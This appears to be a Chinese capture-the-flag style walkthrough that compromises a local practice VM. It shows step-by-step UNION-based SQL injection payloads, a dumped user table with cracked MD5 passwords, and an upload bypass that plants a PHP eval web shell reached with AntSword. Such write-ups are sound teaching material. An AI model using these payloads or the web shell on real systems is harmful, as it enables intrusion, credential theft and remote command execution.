目录
靶机导入
导入虚拟机
设置网络模式为net模式
开启虚拟机
信息收集
发现IP
arp-scan -l
发现靶机IP是192.168.109.132
端口扫描
nmap -T4 -sV -O 192.168.109.132
发现开放了22、80端口
目录扫描
使用dirsearch工具扫描目录
dirsearch -u http://192.168.109.132/ -x 403
漏洞挖掘
SQL注入漏洞
登录主页发现登录页面,而且还可以注册用户
http://192.168.109.132/login.php
创建用户admin,密码123456
创建完成后登录admin用户
单击search,出现书单
验证sql注入
OSINT' and 1=1#
OSINT' and 1=2#
存在SQL注入,使用sqlmap工具注入后面的
判断字段数
OSINT' order by 3#
OSINT' order by 4#
发现字段数是3
判断显示位置
-1' union select 1,2,3#
查看当前数据库
-1' union select database(),2,3#
查看webapphacking库所有的表
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='webapphacking'#
查看表中列名
-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'#
查看表中数据
-1' union select group_concat(user),group_concat(pasword),3 from users#
将得到的密码用md5解密
user1 5d41402abc4b2a76b9719d911017c592 hello
user2 6269c4f71a55b24bad0f0267d9be5508 commando
user3 0f359740bd1cda994f8b55330c86d845 p@ssw0rd
test 05a671c66aefea124cc08b76ea6d30bb testtest
superadmin 2386acb2cf356944177746fc92523983 Uncrackable
test1 05a671c66aefea124cc08b76ea6d30bb testtest
admin e10adc3949ba59abbe56e057f20f883e 123456
猜测superadmin用户是管理员,登录一下试试
发现是一个文件上传页面
文件上传漏洞
制作图片马
GIF89a<?php phpinfo(); ?>
上传用burp抓包
从响应数据包可以看出来已经上传到文件夹了
访问目录扫描出来的路径 http://192.168.109.132/uploads/
发现存在文件上传漏洞
漏洞利用
制作图片马
<?php @eval($_POST[cmd]); ?>
复制图片链接用蚁剑连接
蚁剑连接成功